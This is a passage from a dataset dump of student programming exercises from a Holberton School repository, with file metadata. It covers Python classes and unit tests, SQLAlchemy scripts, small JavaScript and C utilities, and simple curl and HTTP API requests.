({}) {}\".format(state.name, city.id, city.name))\n" }, { "alpha_fraction": 0.6666666865348816, "alphanum_fraction": 0.6908212304115295, "avg_line_length": 24.875, "blob_id": "53e7ec8105fd948fbb8845abbe6fcbaa57ebbdb6", "content_id": "607d2b1a8e410d82789c4f357eb4553b41ad0afe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 207, "license_type": "no_license", "max_line_length": 55, "num_lines": 8, "path": "/0x13-javascript_objects_scopes_closures/102-concat.js", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/node\n\nconst fs = require('fs');\n\nconst fileA = fs.readFileSync(process.argv[2], 'utf8');\nconst fileB = fs.readFileSync(process.argv[3], 'utf8');\n\nfs.writeFileSync(process.argv[4], fileA + fileB);\n" }, { "alpha_fraction": 0.5390037298202515, "alphanum_fraction": 0.5728383660316467, "avg_line_length": 36.94643020629883, "blob_id": "78b5dde5f2feff0984aa55c31e51def6b66f4c10", "content_id": "b3017e4f9d071c80e549f8c433815b93bb105cf1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2128, "license_type": "no_license", "max_line_length": 76, "num_lines": 56, "path": "/0x0C-python-almost_a_circle/tests/test_models/test_rectangle.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n\"\"\" Test case for the module base \"\"\"\n\n\"\"\" Importing class from Base Module \"\"\"\nimport unittest\nfrom models.rectangle import Rectangle\n\n\nclass TestRectangleOutput(unittest.TestCase):\n def test_main(self):\n \"\"\" [Rectangle] Rest if the result is as excepted in the example \"\"\"\n if __name__ == \"__main__\":\n r1 = Rectangle(10, 2)\n self.assertEqual(r1.id, 1)\n r2 = Rectangle(2, 10)\n self.assertEqual(r2.id, 2)\n r3 = Rectangle(10, 2, 0, 0, 12)\n self.assertEqual(r3.id, 12)\n r4 = Rectangle(10, 2, 0, 0, 3)\n self.assertEqual(r4.id, 3)\n\n def test_validate_types(self):\n \"\"\" [Rectangle] Types validators \"\"\"\n with self.assertRaises(TypeError) as cm:\n r1 = Rectangle(\"test\", 1) \n self.assertEqual(cm.exception.args[0], \"width must be an integer\")\n\n with self.assertRaises(TypeError) as cm:\n r1 = Rectangle(1, \"test\") \n self.assertEqual(cm.exception.args[0], \"height must be an integer\")\n \n with self.assertRaises(TypeError) as cm:\n r1 = Rectangle(1, 1, \"t\") \n self.assertEqual(cm.exception.args[0], \"x must be an integer\")\n \n with self.assertRaises(TypeError) as cm:\n r1 = Rectangle(1, 1, 2, \"t\") \n self.assertEqual(cm.exception.args[0], \"y must be an integer\") \n\n def test_validate_positive(self):\n \"\"\" [Rectangle] Positive validators \"\"\"\n with self.assertRaises(ValueError) as cm:\n r1 = Rectangle(-5, 1) \n self.assertEqual(cm.exception.args[0], \"width must be > 0\")\n\n with self.assertRaises(ValueError) as cm:\n r1 = Rectangle(1, -2) \n self.assertEqual(cm.exception.args[0], \"height must be > 0\")\n \n with self.assertRaises(ValueError) as cm:\n r1 = Rectangle(1, 1, -2, 0) \n self.assertEqual(cm.exception.args[0], \"x must be >= 0\")\n \n with self.assertRaises(ValueError) as cm:\n r1 = Rectangle(1, 1, 2, -2) \n self.assertEqual(cm.exception.args[0], \"y must be >= 0\") \n \n" }, { "alpha_fraction": 0.606965184211731, "alphanum_fraction": 0.6169154047966003, "avg_line_length": 21.33333396911621, "blob_id": "587d1da17addb2c4a4a3717446efa82531f2c3e1", "content_id": "d70ac71dfcfbb5effe2df517227d86ab578685fa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 201, "license_type": "no_license", "max_line_length": 57, "num_lines": 9, "path": "/0x0A-python-inheritance/6-main.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\nBaseGeometry = __import__('6-base_geometry').BaseGeometry\n\nbg = BaseGeometry()\n\ntry:\n print(bg.area())\nexcept Exception as e:\n print(\"[{}] {}\".format(e.__class__.__name__, e))\n" }, { "alpha_fraction": 0.707317054271698, "alphanum_fraction": 0.7317073345184326, "avg_line_length": 40, "blob_id": "77d6233f46205610910895320e47e536af37f20d", "content_id": "c340428c35eb7817270f79861cbf092fa5070964", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 123, "license_type": "no_license", "max_line_length": 65, "num_lines": 3, "path": "/0x10-python-network_0/4-header.sh", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/bin/bash\n# Displays the body of the response of a curl request with header\ncurl -sH \"X-HolbertonSchool-User-Id:98\" \"$1\"\n" }, { "alpha_fraction": 0.5887324213981628, "alphanum_fraction": 0.597183108329773, "avg_line_length": 34.400001525878906, "blob_id": "94e7cccd8dca0d3e222149393f1bba5244ec613a", "content_id": "9b03f801a1182c43aba85286d6ae11b779659675", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 355, "license_type": "no_license", "max_line_length": 68, "num_lines": 10, "path": "/0x0A-python-inheritance/3-main.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\nis_kind_of_class = __import__('3-is_kind_of_class').is_kind_of_class\n\na = 1\nif is_kind_of_class(a, int):\n print(\"{} comes from {}\".format(a, int.__name__))\nif is_kind_of_class(a, float):\n print(\"{} comes from {}\".format(a, float.__name__))\nif is_kind_of_class(a, object):\n print(\"{} comes from {}\".format(a, object.__name__))\n\n" }, { "alpha_fraction": 0.800000011920929, "alphanum_fraction": 0.800000011920929, "avg_line_length": 24, "blob_id": "9de518876b1479881327ae50a56b9c67b48f8bbf", "content_id": "4e903bed0c6815e0389ac3b8fb5f5183118f55e8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 25, "license_type": "no_license", "max_line_length": 24, "num_lines": 1, "path": "/0x00-python-hello_world/README.md", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "First project of Python!\n" }, { "alpha_fraction": 0.48491746187210083, "alphanum_fraction": 0.4894706904888153, "avg_line_length": 25.621212005615234, "blob_id": "30610b928857e93d9f1adcf224daa6abd0197a9d", "content_id": "cf09509cf720ba09636e35096ace191f689bc1f2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1757, "license_type": "no_license", "max_line_length": 66, "num_lines": 66, "path": "/0x0C-python-almost_a_circle/models/square.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n\"\"\"\n class Square that inherits from Rectangle\n\"\"\"\nfrom models.rectangle import Rectangle\n\n\nclass Square(Rectangle):\n \"\"\"\n class Square that inherits from Rectangle\n super class with id, x, y, width and height\n \"\"\"\n def __init__(self, size, x=0, y=0, id=None):\n self.size = size\n super().__init__(self.size, self.size, x, y, id)\n\n def __str__(self):\n \"\"\"\n Str output\n \"\"\"\n return \"[Square] ({:d}) {:d}/{:d} - {:d}\".format(\n self.id, self.x, self.y, self.width)\n\n @property\n def size(self):\n \"\"\"\n size getter\n \"\"\"\n return self.width\n\n @size.setter\n def size(self, value):\n \"\"\"\n size setter\n \"\"\"\n self.width = value\n self.height = value\n\n def update(self, *args, **kwargs):\n \"\"\"\n args is the list of arguments - no-keyworded arguments\n 1st argument should be the id attribute\n 2nd argument should be the size attribute\n 3rd argument should be the x attribute\n 4th argument should be the y attribute\n *kwargs is skipped if *args exists and is not empty\n \"\"\"\n lena = len(args)\n largs = ('id', 'size', 'x', 'y')\n for i in range(lena):\n setattr(self, largs[i], args[i])\n if lena == 0:\n for i in kwargs:\n setattr(self, i, kwargs[i])\n\n def to_dictionary(self):\n \"\"\"\n returns the dictionary representation of a Square\n \"\"\"\n dicta = {\n 'id': self.id,\n 'size': self.size,\n 'x': self.x,\n 'y': self.y\n }\n return dicta\n" }, { "alpha_fraction": 0.6677148938179016, "alphanum_fraction": 0.6761006116867065, "avg_line_length": 24.783782958984375, "blob_id": "772747ce0c3511e88bd50e1339aacbf739d691b9", "content_id": "53c655d2d872b8c027cad1099481d9758d9742fa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 962, "license_type": "no_license", "max_line_length": 76, "num_lines": 37, "path": "/0x0F-python-object_relational_mapping/100-relationship_states_cities.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n\"\"\"\nScript that creates the `State` “California” with the\n`City` “San Francisco” from the database `hbtn_0e_100_usa`.\n\nArguments:\n mysql username (str)\n mysql password (str)\n database name (str)\n\"\"\"\n\nimport sys\nfrom sqlalchemy import (create_engine)\nfrom sqlalchemy.orm import Session\nfrom sqlalchemy.engine.url import URL\nfrom relationship_state import Base, State\nfrom relationship_city import City\n\n\nif __name__ == \"__main__\":\n mySQL_u = sys.argv[1]\n mySQL_p = sys.argv[2]\n db_name = sys.argv[3]\n\n url = {'drivername': 'mysql+mysqldb', 'host': 'localhost',\n 'username': mySQL_u, 'password': mySQL_p, 'database': db_name}\n\n engine = create_engine(URL(**url), pool_pre_ping=True)\n Base.metadata.create_all(engine)\n\n session = Session(bind=engine)\n\n newState = State(name=\"California\")\n newState.cities.append(City(name=\"San Francisco\"))\n\n session.add(newState)\n session.commit()\n" }, { "alpha_fraction": 0.5314900279045105, "alphanum_fraction": 0.5852534770965576, "avg_line_length": 33.26315689086914, "blob_id": "820fa0a05fa06a436d4ec43438e67adf1b1518b0", "content_id": "35bcef038399980e73e120ce3b18f67c9d8fe13f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 651, "license_type": "no_license", "max_line_length": 64, "num_lines": 19, "path": "/0x07-python-test_driven_development/test files/6-max_integer_test.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n\"\"\"Unittest for max_integer([..])\n\"\"\"\nimport unittest\nmax_integer = __import__('6-max_integer').max_integer\n\n\nclass TestMaxInteger(unittest.TestCase):\n def test_max(self):\n \"\"\"\n Test if the biggest number is printed\n \"\"\"\n self.assertEqual(max_integer([1, 2, 5, 6, 50, 2]), 50)\n self.assertEqual(max_integer(), None)\n self.assertEqual(max_integer([-5, -50, -1, -3, -4]), -1)\n self.assertEqual(max_integer([-2]), -2)\n self.assertEqual(max_integer([]), None)\n self.assertEqual(max_integer([50, 1, 2, 3]), 50)\n self.assertEqual(max_integer([1, 2, 3, 4, 50]), 50)\n" }, { "alpha_fraction": 0.5751879811286926, "alphanum_fraction": 0.5751879811286926, "avg_line_length": 28.55555534362793, "blob_id": "d606c2fb8a894e49c6a8568c84b44a38c51f712b", "content_id": "f13720c5ad92a4adc9ba559eee76f3dd07f1407a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 266, "license_type": "no_license", "max_line_length": 69, "num_lines": 9, "path": "/0x15-javascript-web_jquery/102-script.js", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "const url = 'https://fourtonfish.com/hellosalut/?lang=';\n\n$(this).ready(function () {\n $('INPUT#btn_translate').on('click', function () {\n $.getJSON(url + $('INPUT#language_code').val(), function (data) {\n $('DIV#hello').text(data.hello);\n });\n });\n});\n" }, { "alpha_fraction": 0.7229219079017639, "alphanum_fraction": 0.748110830783844, "avg_line_length": 38.70000076293945, "blob_id": "16e7b21a5e1b0e84fcc0d256abee9dc3869d260c", "content_id": "2c3df56efb9a119a019cb1f66b8c720d3b354f3c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 397, "license_type": "no_license", "max_line_length": 74, "num_lines": 10, "path": "/0x08-python-more_classes/6-main.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\nRectangle = __import__('6-rectangle').Rectangle\n\nmy_rectangle_1 = Rectangle(2, 4)\nmy_rectangle_2 = Rectangle(2, 4)\nprint(\"{:d} instances of Rectangle\".format(Rectangle.number_of_instances))\ndel my_rectangle_1\nprint(\"{:d} instances of Rectangle\".format(Rectangle.number_of_instances))\ndel my_rectangle_2\nprint(\"{:d} instances of Rectangle\".format(Rectangle.number_of_instances))\n" }, { "alpha_fraction": 0.49240779876708984, "alphanum_fraction": 0.5444685220718384, "avg_line_length": 22.049999237060547, "blob_id": "d877209383cda189a11db1040924b6f9506bec62", "content_id": "bba8c77fc2d79ab3d7c0fbc3922c4c3186695131", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 461, "license_type": "no_license", "max_line_length": 76, "num_lines": 20, "path": "/0x01-python-if_else_loops_functions/1-last_digit.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\nimport random\nnumber = random.randint(-10000, 10000)\n\n\ndef lastDigit(n):\n if (n < 0):\n return (number % -10)\n else:\n return (number % 10)\n\n\ndef verif(n=number):\n if (n > 5):\n return (\" and is greater than 5\")\n elif (n == 0):\n return (\" and is 0\")\n elif (n != 0 and n < 6):\n return (\" and is less than 6 and not 0\")\nprint(\"Last digit of {} is {}{}\".format(number, lastDigit(number), verif()))\n" }, { "alpha_fraction": 0.40163934230804443, "alphanum_fraction": 0.4754098355770111, "avg_line_length": 29.5, "blob_id": "40a64b0a9163ce0c760b0f8d2cf7710e9e0ae538", "content_id": "b453f84581d7d6769557b536ada868f0ff5ec004", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 122, "license_type": "no_license", "max_line_length": 40, "num_lines": 4, "path": "/0x01-python-if_else_loops_functions/5-print_comb2.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\nfor x in range(0, 100):\n print(\"{:02d}\".format(x), end=\"\")\n print((\"\\n\", \", \")[x != 99], end=\"\")\n" }, { "alpha_fraction": 0.5238829255104065, "alphanum_fraction": 0.5516178607940674, "avg_line_length": 15.225000381469727, "blob_id": "27b859e647c62781c22dfa6a9c65322b144e59cc", "content_id": "7bdcdde2a4d8c181760acd2b0e60e188f50f01a3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 649, "license_type": "no_license", "max_line_length": 72, "num_lines": 40, "path": "/0x00-python-hello_world/10-check_cycle.c", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#include \"lists.h\"\n#include <stdio.h>\n#include <string.h>\n/**\n* check_cycle - checks if a singly linked list has a cycle in it or not.\n* @list: Takes a listint_t as an argument.\n* Return: either 0 or 1.\n**/\n\nint check_cycle(listint_t *list)\n{\n\tint i = 0, checkn = 0, b = 0;\n\tlistint_t *check = NULL, *tmp = NULL;\n\n\tif (list == NULL)\n\t\treturn (0);\n\tcheck = list;\n\ttmp = list;\n\twhile (check->next != NULL)\n\t{\n\t\tcheck = check->next;\n\t\ti++;\n\t\tif (i > 100)\n\t\t\treturn (1);\n\t}\n\tcheckn = check->n;\n\ti = 0;\n\twhile (tmp)\n\t{\n\t\tif (checkn == tmp->n)\n\t\t\tb++;\n\t\tif (b == 2)\n\t\t\treturn (1);\n\t\tif (i > 100)\n\t\t\treturn (0);\n\t\ttmp = tmp->next;\n\t\ti++;\n\t}\n\treturn (0);\n}\n" }, { "alpha_fraction": 0.4642857015132904, "alphanum_fraction": 0.4897959232330322, "avg_line_length": 23.5, "blob_id": "5b4770dd2bfa2fcf5f821d748e65753ab28c626e", "content_id": "4be253d4c6ee0a78d304a6dd45aeb13c2183a884", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 196, "license_type": "no_license", "max_line_length": 34, "num_lines": 8, "path": "/0x04-python-more_data_structures/3-common_elements.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\ndef common_elements(set_1, set_2):\n new_list = []\n for i in set_2:\n for b in set_1:\n if (i == b):\n new_list.append(i)\n return new_list\n" }, { "alpha_fraction": 0.6173469424247742, "alphanum_fraction": 0.6224489808082581, "avg_line_length": 31.66666603088379, "blob_id": "b5816d8f41975495568af6db5dd14309c518c1a5", "content_id": "9016abeffa9545b9e0b51789455d227c01d92918", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 196, "license_type": "no_license", "max_line_length": 62, "num_lines": 6, "path": "/0x04-python-more_data_structures/0-square_matrix_simple.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\ndef square_matrix_simple(matrix=[]):\n new_matrix = []\n for i in range(len(matrix)):\n new_matrix.append(list(map(lambda x: x*x, matrix[i])))\n return (new_matrix)\n" }, { "alpha_fraction": 0.5, "alphanum_fraction": 0.6000000238418579, "avg_line_length": 9, "blob_id": "48dd3046b3215b7e2dc66e3ad10770d4a94514d7", "content_id": "c228529cd94c43f30fc203a3682cb1070bb124c4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 30, "license_type": "no_license", "max_line_length": 15, "num_lines": 3, "path": "/0x12-javascript-warm_up/100-let_me_const.js", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/node\n\nmyVar = 333;\n" }, { "alpha_fraction": 0.539130449295044, "alphanum_fraction": 0.595652163028717, "avg_line_length": 16.615385055541992, "blob_id": "6c46961bec90b67d07aed739db2b1c8e36ccb43e", "content_id": "775a07dfd68de0e14ef5aac9c7d6e8af84044832", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 230, "license_type": "no_license", "max_line_length": 57, "num_lines": 13, "path": "/0x04-python-more_data_structures/101-main.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\nsquare_matrix_map = \\\n __import__('101-square_matrix_map').square_matrix_map\n\nmatrix = [\n [1, 2, 3],\n [4, 5, 6],\n [7, 8, 9]\n]\n\nnew_matrix = square_matrix_map(matrix)\nprint(new_matrix)\nprint(matrix)\n\n" }, { "alpha_fraction": 0.7142857313156128, "alphanum_fraction": 0.8214285969734192, "avg_line_length": 28, "blob_id": "87d08d08960af3b83f27233103f20eab41653761", "content_id": "30393d3bf38d77ef5fb9b963fd8f9a97491bbfee", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 28, "license_type": "no_license", "max_line_length": 28, "num_lines": 1, "path": "/0x15-javascript-web_jquery/README.md", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "# 0x15-javascript-web_jquery" }, { "alpha_fraction": 0.5221238732337952, "alphanum_fraction": 0.5486725568771362, "avg_line_length": 31.285715103149414, "blob_id": "57a6a14b372efb19e9b795b7031ebabc883b7a82", "content_id": "7826ec7e770509f8ff7f82b7267a4e301a394013", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 226, "license_type": "no_license", "max_line_length": 51, "num_lines": 7, "path": "/0x04-python-more_data_structures/100-weight_average.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\ndef weight_average(my_list=[]):\n if (len(my_list) == 0):\n return (0)\n mul = list(map(lambda x: x[0] * x[1], my_list))\n add = list(map(lambda x: x[1], my_list))\n return sum(mul) / sum(add)\n" }, { "alpha_fraction": 0.609649121761322, "alphanum_fraction": 0.6140350699424744, "avg_line_length": 31.571428298950195, "blob_id": "e6432a0d9d50beddcdeaaccd0791c4ef4e421ca0", "content_id": "7a2239900bef133ef7c5214afa2a3c096fd4e106", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 228, "license_type": "no_license", "max_line_length": 50, "num_lines": 7, "path": "/0x04-python-more_data_structures/6-print_sorted_dictionary.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\ndef print_sorted_dictionary(a_dictionary):\n if (a_dictionary is None):\n return None\n new_dic = sorted(a_dictionary.keys())\n for i in new_dic:\n print(\"{}: {}\".format(i, a_dictionary[i]))\n" }, { "alpha_fraction": 0.5686274766921997, "alphanum_fraction": 0.5980392098426819, "avg_line_length": 24.5, "blob_id": "a91d07136cc7d78417b4aa336b43c4181d025a1c", "content_id": "fdb64953d27dd898578959915abb5853811944e0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 102, "license_type": "no_license", "max_line_length": 28, "num_lines": 4, "path": "/0x02-python-import_modules/5-variable_load.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\nif __name__ == \"__main__\":\n import variable_load_5\n print(variable_load_5.a)\n" }, { "alpha_fraction": 0.6511628031730652, "alphanum_fraction": 0.6666666865348816, "avg_line_length": 20.5, "blob_id": "e52c59840cc3d5fdf234cd697e55592c9f4fdc31", "content_id": "40e8dbc43d0b2092653f5e91af2a389f2401d6b0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 129, "license_type": "no_license", "max_line_length": 38, "num_lines": 6, "path": "/0x06-python-classes/0-main.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\nSquare = __import__('0-square').Square\n\nmy_square = Square()\nprint(type(my_square))\nprint(my_square.__dict__)\n" }, { "alpha_fraction": 0.625, "alphanum_fraction": 0.625, "avg_line_length": 15, "blob_id": "127a10bc66702febbb1f83898cd321d921c51296", "content_id": "a50536e340262cde9f73ec4196cced87e186cfac", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 32, "license_type": "no_license", "max_line_length": 19, "num_lines": 2, "path": "/0x00-python-hello_world/1-run_inline", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/bin/bash\npython -c \"$PYCODE\"\n" }, { "alpha_fraction": 0.6637426614761353, "alphanum_fraction": 0.6725146174430847, "avg_line_length": 30.090909957885742, "blob_id": "69e713b8bb531fdd37aa0c5ef26aecd4208cdc9f", "content_id": "19388f7ea4a28e409a950a963f79a6c1c9f48900", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 342, "license_type": "no_license", "max_line_length": 68, "num_lines": 11, "path": "/0x11-python-network_1/10-my_github.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n\"\"\"Python script that takes GitHub credentials (username and\npassword) and uses the GitHub API to display the user id.\"\"\"\n\nimport requests\nfrom sys import argv\n\nif __name__ == \"__main__\":\n auth = (argv[1], argv[2])\n request = requests.get(\"https://api.github.com/user\", auth=auth)\n print(request.json().get(\"id\"))\n" }, { "alpha_fraction": 0.4232209622859955, "alphanum_fraction": 0.5318351984024048, "avg_line_length": 37.14285659790039, "blob_id": "e9bd33a722f3628fecf32deb2a18181faac8230b", "content_id": "c590b4ff12fa70bf2f1683579e2b083742e9ef4a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 267, "license_type": "no_license", "max_line_length": 64, "num_lines": 7, "path": "/0x04-python-more_data_structures/100-main.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\nweight_average = __import__('100-weight_average').weight_average\n\nmy_list = [(1, 2), (2, 1), (3, 10), (4, 2)]\n# = ((1 * 2) + (2 * 1) + (3 * 10) + (4 * 2)) / (2 + 1 + 10 + 2)\nresult = weight_average(my_list)\nprint(\"Average: {:0.2f}\".format(result))\n" }, { "alpha_fraction": 0.6086956262588501, "alphanum_fraction": 0.782608687877655, "avg_line_length": 23, "blob_id": "e9e323adb878d530cdeb94f5a8d1fb753fb53621", "content_id": "8c9a7fd4e8771b34bee1e522ee9f781e7c7fb21b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 23, "license_type": "no_license", "max_line_length": 23, "num_lines": 1, "path": "/0x10-python-network_0/README.md", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "# 0x10-python-network_0" }, { "alpha_fraction": 0.6458333134651184, "alphanum_fraction": 0.6458333134651184, "avg_line_length": 18.200000762939453, "blob_id": "3a7f3029f2beca7984d1171f3509c0208ef88554", "content_id": "68ea20df8ec6195491d5eb98c97ba553f72bb209", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 96, "license_type": "no_license", "max_line_length": 37, "num_lines": 5, "path": "/0x13-javascript_objects_scopes_closures/10-converter.js", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/node\n\nexports.converter = function (base) {\n return (res) => res.toString(base);\n};\n" }, { "alpha_fraction": 0.7096773982048035, "alphanum_fraction": 0.8064516186714172, "avg_line_length": 30, "blob_id": "62b2d931b8e24aa98be4c531c6298e9ede167a3e", "content_id": "e912c9394ed65afdba20703ba3260d2740882ac8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 31, "license_type": "no_license", "max_line_length": 30, "num_lines": 1, "path": "/0x14-javascript-web_scraping/README.md", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "# 0x14-javascript-web_scraping\n" }, { "alpha_fraction": 0.5, "alphanum_fraction": 0.5133928656578064, "avg_line_length": 21.399999618530273, "blob_id": "a6f679c3123fc5f2b171686b824437863efd9ed3", "content_id": "01b2d9da605c0c4e9c8067055697a498aa75f7b3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 224, "license_type": "no_license", "max_line_length": 28, "num_lines": 10, "path": "/0x03-python-data_structures/9-max_integer.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\ndef max_integer(my_list=[]):\n lenl = len(my_list)\n if (lenl == 0):\n return None\n higher = my_list[0]\n for i in my_list:\n if i > higher:\n higher = i\n return (higher)\n" }, { "alpha_fraction": 0.6795952916145325, "alphanum_fraction": 0.6863406300544739, "avg_line_length": 24.782608032226562, "blob_id": "ea47ed8e6869ecbbc72dd6d1f83343c2449a6d68", "content_id": "ed6c415c97162a01705721a92c24d6f209f31214", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 593, "license_type": "no_license", "max_line_length": 78, "num_lines": 23, "path": "/0x0F-python-object_relational_mapping/model_state.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n\"\"\"This is the State module.\n\nContains the State class that inherits from Base = declarative_base()\n\"\"\"\nfrom sqlalchemy import Column, Integer, String\nfrom sqlalchemy.ext.declarative import declarative_base\n\nBase = declarative_base()\n\n\nclass State(Base):\n \"\"\"This class links to the `states` table of our database.\n\n Attributes:\n id (int): id of the state.\n name (str): name of the state.\n \"\"\"\n\n __tablename__ = 'states'\n\n id = Column(Integer, autoincrement=True, nullable=False, primary_key=True)\n name = Column(String(128), nullable=False)\n" }, { "alpha_fraction": 0.4838709533214569, "alphanum_fraction": 0.5219941139221191, "avg_line_length": 33.099998474121094, "blob_id": "6133572aebaec91599cc00458f9b0a969664689d", "content_id": "cab954e38e9664d065dc5e88e10297cbc18261c5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 341, "license_type": "no_license", "max_line_length": 69, "num_lines": 10, "path": "/0x04-python-more_data_structures/4-only_diff_elements.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\ndef only_diff_elements(set_1, set_2):\n new_list = []\n for i in (set_1):\n if (list(set_1).count(i) == 1 and list(set_2).count(i) == 0):\n new_list.append(i)\n for b in (set_2):\n if (list(set_2).count(b) == 1 and list(set_1).count(b) == 0):\n new_list.append(b)\n return new_list\n" }, { "alpha_fraction": 0.5991379022598267, "alphanum_fraction": 0.625, "avg_line_length": 32, "blob_id": "acea5e5219d5271ea342ef9dbecbea4d2de45024", "content_id": "c9c72abb4307ac1b95e80e99ec74198b55f7dee2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 232, "license_type": "no_license", "max_line_length": 65, "num_lines": 7, "path": "/0x04-python-more_data_structures/3-main.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\ncommon_elements = __import__('3-common_elements').common_elements\n\nset_1 = { \"Python\", \"C\", \"Javascript\" }\nset_2 = { \"Bash\", \"C\", \"Ruby\", \"Perl\" }\nc_set = common_elements(set_1, set_2)\nprint(sorted(list(c_set)))\n\n" }, { "alpha_fraction": 0.4960317313671112, "alphanum_fraction": 0.5079365372657776, "avg_line_length": 24.200000762939453, "blob_id": "391d88664f136b7c51ed2bc9f51f43ff7add8a64", "content_id": "8483d0bf52879b8905b0bb412a4a327d8551b370", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 252, "license_type": "no_license", "max_line_length": 45, "num_lines": 10, "path": "/0x04-python-more_data_structures/2-uniq_add.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": 